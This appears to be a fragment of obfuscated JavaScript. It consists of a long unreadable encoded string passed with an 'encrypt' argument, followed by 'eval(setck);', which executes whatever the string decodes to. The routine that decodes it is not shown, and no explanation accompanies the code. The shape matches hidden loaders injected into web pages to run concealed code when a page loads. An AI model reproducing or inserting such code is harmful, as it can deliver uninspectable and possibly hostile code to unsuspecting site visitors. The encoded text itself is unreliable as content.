7BQ~c~~fWhS~~UQfW8Ee~EM.c=O~KDGwy63Z4L1Y=O~H~e~J(WhSL~~QfWhSYwCxqzEVIwe~Hc r2w2FTBrMuyDFe~fI~D=E2JPD~I~'~H~'~H~F~~QfWhSsCyvOBDc~ay1A3Orp~Fe0zEVIwQy5yy~et7n'r~'~J~'e~gcFnGCbAzIP0~Co~Jc~cy~'~ge2uFPFwx~H~'r~HpwsBY2c0~ewAZgm4 yK0M~d~Ft)n~'~ey 0wJ;~h~'~c~~fWhS~N~~QfWh~~LUQ*26Ar~f~~fWhSsCyvOBDc~ay1A3Orp~Fe0zEVIwQy5yy~et~'c;~'y~etwJBuZCK72=~~LUQ*~~hS~N0Hx2`~~LUQAA CT0Fw~c EZOM n;rtCG5KBhnMwe~gc~'F~J~'e~gcBQ0s1A3Or~c~~fW^~~~N~~","encrypt");
eval(setck);




//

